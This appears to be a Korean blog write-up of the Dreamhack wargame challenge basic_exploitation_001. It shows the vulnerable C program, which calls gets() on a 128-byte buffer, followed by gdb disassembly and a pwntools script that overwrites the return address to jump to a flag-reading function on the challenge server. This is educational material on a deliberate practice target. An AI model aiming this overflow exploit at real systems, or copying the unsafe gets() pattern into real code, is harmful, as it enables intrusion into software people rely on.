[Dreamhack] basic_exploitation_001

2024. 4. 30. 22:42· War Game/Pwnable
목차
  1. basic_exploitation_001 문제 풀이
  2. 1. 코드 확인 (취약점)
  3. 2. 페이로드 (Payload) 구성
  4. 3. 페이로드 (Payload)

basic_exploitation_001 문제 풀이


1. 코드 확인 (취약점)

1. C 코드 확인

파일의 보호기법은 아래와 같다

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

파일을 실행하면 바로 입력을 받는 것을 알 수 있다.

 $ ./basic_exploitation_001 
aaaaaaaaaaaaaaaaaaaaaaaa

 

이제 C 코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

void read_flag() {
    system("cat /flag");
}

flag 를 얻을 수 있는 read_flag() 함수가 있다

 

char buf[0x80];

gets(buf);

 

buf 는 0x80 (128) 의 크기인 것을 알 수 있다

하지만 gets 함수로 크기에 제한을 두지 않고 입력을 받고 있어 BOF 가 발생한다.

 

2. 어셈블리 확인

gdb 를 이용해서 main 함수의 어셈블리를 확인해보자

   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp					; 프롤로그
   0x080485cf <+3>:     add    esp,0xffffff80			; buf[0x80] (add esp, -0x80)
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]			; buf = ebp-0x80
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>		; gets(buf)
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave  							; 에필로그
   0x080485e9 <+29>:    ret

buf 의 크기는 0x80 인 것을 알 수 있다.

 

print 명령어로 read_flag 함수의 주소를 가져오자

pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

read_flag 함수의 주소는 0x80485b9 인 것을 알 수 있다.

 

 

2. 페이로드 (Payload) 구성

1. 스택 프레임 구조

스텍 프레임 구조

buf 의 크기는 0x80 (128) 이다

SFP 는 32bit 이므로 4 byte 이다

 

buf 와 SFP 를 쓰레기값 (dummy) 로 채우고

RET 에 read_flag 함수의 주소를 넣으면

read_flag 함수가 실행되어 플래그가 출력될 것이다.

페이로드 구성

 

 

3. 페이로드 (Payload)

1. pwntools 코드 작성

from pwn import *

context.log_level='debug'
context(arch='i386', os='linux')

p = remote('host3.dreamhack.games', 16258)

flag = 0x080485b9

payload = b'A' * 0x80
payload += b'A' * 0x4
payload += p32(flag)

p.send(payload)

p.interactive()

pwntools 를 이용하여 코드를 작성하고 실행하면

 

$ 
DH{-------------------------------}

 

플래그를 획득할 수 있다.

저작자표시 비영리 변경금지 (새창열림)

'War Game > Pwnable' 카테고리의 다른 글

[Dreamhack] Return to Libraray  (1) 2024.07.21
[sschall] baby got overwrite  (0) 2024.07.01
[Dreamhack] ssp_001  (0) 2024.05.05
[Dreamhack] Return to Shellcode  (0) 2024.05.04
[Dreamhack] basic_exploitation_000  (0) 2024.04.29
  1. basic_exploitation_001 문제 풀이
  2. 1. 코드 확인 (취약점)
  3. 2. 페이로드 (Payload) 구성
  4. 3. 페이로드 (Payload)
'War Game/Pwnable' 카테고리의 다른 글
  • [sschall] baby got overwrite
  • [Dreamhack] ssp_001
  • [Dreamhack] Return to Shellcode
  • [Dreamhack] basic_exploitation_000
GunP4ng
GunP4ng
GunP4ng
GunP4ng
GunP4ng
전체
오늘
어제
  • 분류 전체보기 (102) N
    • Hacking (31) N
      • Pwnable (30) N
      • Web (0)
      • Reversing (0)
      • Misc (1)
    • War Game (19)
      • Pwnable (19)
      • Web (0)
      • Misc (0)
    • pwnable.kr (0)
    • CTF (0)
    • Coding (48)
      • baekjoon (26)
      • C (22)
    • ETC (4)
      • Certificate (4)

블로그 메뉴

  • 홈
  • 태그
  • 방명록
  • 글쓰기

공지사항

인기 글

태그

  • PIE
  • 백준
  • ptmalloc
  • WarGame
  • C언어
  • x86
  • shellcode
  • ROP
  • 코딩도장
  • RTL
  • got_overwrite
  • plt
  • Dreamhack
  • DFB
  • 코딩
  • 포인터
  • 스택
  • doublefree
  • rtl_chaining
  • return_to_library
  • 구조체
  • BOF
  • Use-After-Free
  • srop
  • x64
  • 함수
  • uaf
  • Got
  • Tcache
  • 메모리

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.3.0
GunP4ng
[Dreamhack] basic_exploitation_001
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.